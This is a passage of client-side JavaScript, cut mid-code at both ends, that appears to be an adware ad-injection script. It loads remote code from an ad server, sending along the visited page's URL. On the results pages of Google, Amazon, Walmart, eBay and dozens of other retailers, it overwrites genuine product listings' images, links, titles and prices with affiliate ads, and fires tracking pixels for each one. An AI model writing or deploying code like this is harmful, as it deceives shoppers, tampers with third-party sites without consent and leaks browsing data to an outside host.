'); } } } getIECallback = function (obj, dir) { injectXmlAds(obj); } shuffle = function(o){ //v1.0 for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); return o; }; function disablePreroll() { localStorage['disablePreroll'] = 1; closePreroll(); return false; } function closePreroll() { var fram = document.getElementById('prerollIframe'); fram.parentNode.removeChild(fram); return false; } function injectPreroll(container, st) { /*if(prerollHosts[pageEntity] === true) { //alert(localStorage['disablePreroll']); var showPreroll = 1; if(localStorage['disablePreroll'] && localStorage['disablePreroll'] == 1) showPreroll = 0; if(prollEnabled == "1" && showPreroll == 1) { var prerollWidth = 480; var prerollHeight = 400; var prerollParams = '&ref='+encodeURIComponent(pageUrl); if(pageEntity == "yahoo" || pageEntity == "msn" || pageEntity == "youtube" || pageEntity == "aol" || pageEntity == "imdb" || pageEntity == "flickr" || pageEntity == "agame" || pageEntity == "nick" || pageEntity == "mashable") { prerollWidth = 300; prerollHeight = 250; prerollParams += "&width="+prerollWidth+"&height="+prerollHeight; } if(st == "af") { jQuery('
You might also enjoy this related video:
Disable video on this siteClose Video
').insertAfter(container); } else if(st == "ap") { jQuery(container).append('
You might also enjoy this related video:
Disable video on this siteClose Video
'); } fplayer_width = 480; fplayer_height = 385; } }*/ } function injectIframeShoppingAds(width, height, fn, type, dom, term) { if(xmlAds == 1 && shopAffiliate != '') { if(type == 'h') fileName = "horizontal.php"; else fileName = "vertical.php"; var befIframe = ''; if(q_link != '') befIframe += '
'; if(fn == "af") { jQuery(befIframe+'').insertAfter(dom); } else if(fn == "ap") { jQuery(dom).append(befIframe+''); } else if(fn == "be") { jQuery(befIframe+'').insertBefore(dom); } else if(fn == "pr") { jQuery(dom).prepend(befIframe+''); } } } function getVShoppingHTML(obj) { var adHTML = ''; if(isBestBuy === true) fSize = 1.0; else fSize = 0.66; if(q_link != '') adHTML += "
"; if(obj.items && obj.items.length > 0) { adHTML += '
'; adHTML += '
'; adHTML += '
'; } return adHTML; } function getHShoppingHTML(obj) { var adHTML = ''; if(q_link != '') adHTML += "
"; if(obj.items && obj.items.length > 0) { adHTML += '
'; adHTML += '
'; adHTML += '
'; } return adHTML; } function getGoogleShopping(obj) { var adHTML = ''; if(obj.items && obj.items.length > 0) { adHTML += '
    '; if(term != '') { term = term.replace(/\+/g, " "); var shopRed = ''; if(obj.items[0] && obj.items[0].title) shopRed = obj.items[0].url; else shopRed = "javascript: void();"; adHTML += '
  1. Shop for '+term+' on Google

  2. '; } adHTML += '
  3. '; for(i=0; i<5; i++) { if(obj.items[i] && obj.items[i].title && obj.items[i].title != ''){ if(obj.items[i].title.length > 25) { obj.items[i].title = obj.items[i].title.substr(0, 25); obj.items[i].title += "..."; } if(obj.items[i].displayUrl.length > 13) { obj.items[i].displayUrl = obj.items[i].displayUrl.substr(0, 13); obj.items[i].displayUrl += ".."; } var price = ''; var descEx = obj.items[i].description.split("::"); if(descEx.length > 1 && descEx[1]) { var desc = descEx[0]; var priceStr = descEx[1]; priceEx = priceStr.split(":"); if(priceEx.length > 1 && priceEx[1]) { price = priceEx[1]; if(price.charAt(0) == '') price = price.substr(1); } } var listNum = i+1; var listId = "plathumb6s"+listNum; adHTML += '
    '; adHTML += ''; adHTML += ''; adHTML += '
    '; adHTML += '
    '+price+'
    '; adHTML += '
    '+obj.items[i].displayUrl+'
    '; (new Image()).src = obj.items[i].pixel; } } adHTML += '
'; } return adHTML; } function injectShoppingAds(shopTerm) { var stermsArr = ['Mens Tennis Shoes', 'Pumps and Heels', 'Nikon Cameras', 'Dell Computers', 'Samsung Tvs', 'Video Games', 'Tote Handbags', 'Perfume for Men', 'Fashion Jewelry', 'Ceramic Watches', 'Diamond Studs', 'Educational Toys', 'Patio Furniture Sets']; var sterms = shuffle(stermsArr); if(shopTerm == '') shopTerm = sterms[0]; if(shoppingAdsEn == 1 && shopAff != '' && jQuery('#swShoppingWidget').length <= 0) loadScript("https://in.admedia.com/content_shop.php?id="+shopAff+"&term=" +shopTerm+"&pageDomain="+pageDomain+subid+"&pageEntity="+pageEntity+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getShoppingCallback", function(){}); } function getPriceFromDesc(desc) { var price = ""; var descEx = desc.split("::"); if(descEx.length > 1) { var priceStr = descEx[1]; priceEx = priceStr.split(":"); if(priceEx.length > 1 && priceEx[1]) price = priceEx[1]; } return price; } function getDescFromDesc(desc) { var price = ""; var descEx = desc.split("::"); return descEx[0]; } function getShoppingCallback(obj, dir) { if(pageEntity == "google") { var adHTML = getGoogleShopping(obj); setTimeout(function() { if(jQuery('#swShoppingWidget').length <= 0) jQuery('#taw').prepend(jQuery(adHTML)); if(dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) { var scookieName = "googleShopAds"; var scookieVal = 1; var svalues = new Array(); var sfts = Math.round((new Date()).getTime() / 1000) + 86400; svalues.push(scookieVal); svalues.push(sfts); jQuery('.googleShoppingAdsImage').click(function() { localStorage[scookieName] = svalues.join(";"); }); jQuery('.googleShoppingAdsTitle').click(function() { localStorage[scookieName] = svalues.join(";"); }); } }, 1000); return; } var vAdHTML = getVShoppingHTML(obj); var hAdHTML = getHShoppingHTML(obj); if(pageEntity == "yahoo") { //jQuery('#results').prepend(jQuery(hAdHTML)); //jQuery('#shrightcol').prepend(jQuery(hAdHTML)); var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('ul.hproducts > .hproduct').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.img > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); jQuery(this).find('.desc').html(desc); if(price != '') jQuery(this).find('.price > a').html(""+price+""); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('ol.list > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.pimg > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.pro-info > h3 > a').html(obj.items[gc].title); jQuery(this).find('.desc').html(desc); if(price != '') jQuery(this).find('.price').html(""+price+""); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "bing") jQuery('#sidebar').prepend(jQuery(vAdHTML)); else if(pageEntity == "info") jQuery('#r').append(jQuery(vAdHTML)); else if(pageEntity == "amazon") { //jQuery('#breadCrumbDiv').append(jQuery(hAdHTML)); var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('div[id^="result_"]').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.productImage').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.newaps > a > span.lrg').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); jQuery(this).find('.newaps > span.med').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "overstock") { //jQuery('#relatedSearches').append(jQuery(hAdHTML)); var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#result-products > .product').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.img-middle > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.pro-name').html(obj.items[gc].title); if(price != '') jQuery(this).find('.you-save').html("Today: "+price+""); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "walmart") { //jQuery('.NavColumn').prepend(jQuery(vAdHTML)); var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#border > div[id^="i_"]').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { bigPrice = null; smallPrice = null; price = getPriceFromDesc(obj.items[gc].description); if(price.indexOf(".") != -1) { priceEx = price.split("."); bigPrice = priceEx[0]; smallPrice = priceEx[1]; } jQuery(this).find('.prodImg').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.prodLink.ListItemLink').html(obj.items[gc].title); if(bigPrice && smallPrice) { jQuery(this).find('.bigPriceText2').html(bigPrice+"."); jQuery(this).find('.smallPriceText2').html(smallPrice); } (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "sears" || pageEntity == "kmart") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#cardsHolder > .cardContainer').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.cardImgCont > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.cardProdTitle > h2 > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "jcpenney") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.product_holder').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.product_image > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.detail > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.gallery_page_price > a').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "shopping") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#searchResultsContainer > form > .gridBox').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { if(obj.items[gc].title.length > 30) title = obj.items[gc].title.substr(0,30)+".."; else title = obj.items[gc].title; price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.dealImage > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.productName').html(title); if(price != '') jQuery(this).find('.productPrice').html(price); jQuery(this).find('.newMerchantName').html(obj.items[gc].dispalyUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "lowes") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#productResults > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.productImg').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.productTitle > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.pricing > strong').html(price); jQuery(this).find('.prod-detail').html("
  • "+desc+"
  • "); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "homedepot") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#products > .product').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.content_image > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.item_description').html(obj.items[gc].title); if(price != '') jQuery(this).find('.item_price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "macys") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#thumbnails > div > .productThumbnail').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.thumbnailImage').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.shortDescription > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.prices > span').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "pronto") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.eachGridProduct3').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); jQuery(this).find('.searchimage').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.productGridTitle > a > span').html(obj.items[gc].title); if(price != '') jQuery(this).find('.priceValue').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "shopzilla") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.offer.result').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.image > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price-new > a').html(price); jQuery(this).find('.description > span').html(desc); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "bestbuy") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.hproduct').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.thumb').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.info-main > h3 > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price > span').html(price); jQuery(this).find('.description').html(desc); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "target") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.productsListView > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.tileImage').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.productTitle > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); jQuery(this).find('.description > a').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "staples") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#productDetail > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.pic > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.name > h3 > a').html(obj.items[gc].title); jQuery(this).find('.bullets').html("
  • "+desc+"
  • "); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "ebay") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#ResultSetItems > table.li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('img.img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.vip').html(obj.items[gc].title); if(price != '') jQuery(this).find('.prc > .g-b').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('div.offers').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('img.img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.vip').html(obj.items[gc].title); if(price != '') jQuery(this).find('.amt > span').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "etsy") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('li.listing-card').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); if(price.charAt(0) == "$") price = price.substr(1); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.listing-thumb > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); if(price != '') jQuery(this).find('.currency-value').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "newegg") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.itemCell').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.itemImage > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.itemDescription').html(obj.items[gc].title); jQuery(this).find('.featureList').html("
  • "+desc+"
  • "); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "shopathome") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.offers > .offer').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.couponImageLeft > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.couponTypeHeader').html(obj.items[gc].displayUrl); jQuery(this).find('.offerBin > div:eq(1) > strong > a').html(obj.items[gc].title); jQuery(this).find('.right > a').html("View All "+obj.items[gc].displayUrl+" Coupons"); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('.contentslider-wrapper > .contentslider-item').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.offer').prepend(''); jQuery(this).find('.couponImage > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.groceryBrandName').html(""+obj.items[gc].displayUrl+""); jQuery(this).find('.couponDesc > p > span').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "slickdeals") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#results_table >tbody > tr.thread').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.attachment > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('a.title > strong').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "costco") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.product-tile').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.product-image').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.short-desc').html(obj.items[gc].title); jQuery(this).find('.description').html(desc); if(price != '') jQuery(this).find('.currency > span:first').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "nextag") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#srrowsContainer > table').each(function(){ var n = 0; if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('#opILink_'+n+' > div > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('#opTitleLink_'+n).html(obj.items[gc].title); jQuery(this).find('.smallText').html(desc); jQuery(this).find('.fs').html(obj.items[gc].displayUrl); if(price != '') jQuery(this).find('a.price-link').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } n++; }); } else if(pageEntity == "kohls") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#product-matrix > li.product').each(function(){ var n = 0; if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.product-image').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.product-info > h2 > a').html(obj.items[gc].title); if(price != '') { if(jQuery(this).find('.sale_add').length > 0) jQuery(this).find('.sale_add').html('Sale '+price); if(jQuery(this).find('.price-original').length > 0) jQuery(this).find('.price-original').html('Regular '+price); } (new Image()).src = obj.items[gc].pixel; gc++; } n++; }); } else if(pageEntity == "pricegrabber") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#product_results > .product_item').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.prd_img > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title_link').html(obj.items[gc].title); if(price != '') jQuery(this).find('.ctaPrice > a').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "buycheapr") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('ul.product-list > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.prod-img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.name > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "alibaba") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#J-items-content > div.ls-item').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.img-thumb > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "nordstrom") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.fashion-results > div > div[id^="fashion_"]').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.fashion-photo > div > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "officedepot") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#productView > div.block > div.product_block').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); if(price.indexOf(".") != -1) { priceEx = price.split("."); bigPrice = priceEx[0]; smallPrice = priceEx[1]; if(bigPrice.charAt(0) == "$") bigPrice = bigPrice.substr(1); } jQuery(this).find('.photo > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.descriptionShort').html(obj.items[gc].title); if(price != '') { jQuery(this).find('.price_amount > span:eq(1)').html(bigPrice); jQuery(this).find('.priceSup.decPrice').html(smallPrice); } (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "forever21") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.ResultsList > table > tbody > tr > td').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.ProductImage').attr('src', 